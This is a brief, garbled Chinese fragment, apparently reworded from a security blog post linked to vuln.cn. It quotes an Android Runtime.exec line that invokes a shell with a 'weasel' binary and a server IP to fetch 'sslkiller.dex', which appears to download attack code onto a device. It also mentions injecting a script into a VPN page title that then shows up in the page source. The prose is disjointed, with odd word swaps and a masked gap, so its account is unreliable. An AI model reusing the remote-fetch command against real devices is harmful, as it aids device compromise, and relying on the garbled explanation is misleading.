http://www.vuln.cn/8395 runtime.exec(['/system/bin/sh','-c',weaselPath+''+serverip+'80getsslkiller.dex']).waitFor();这个是本地建立一个VPN然后来复现的，这是更改的vpn进口处的title，刺进的 *** 。 那么为什么会形成这个原因呢？咱们来看下老外的文章。

此刻检查网页源文件，能够看到咱们所输入的脚本被嵌入到了网页中。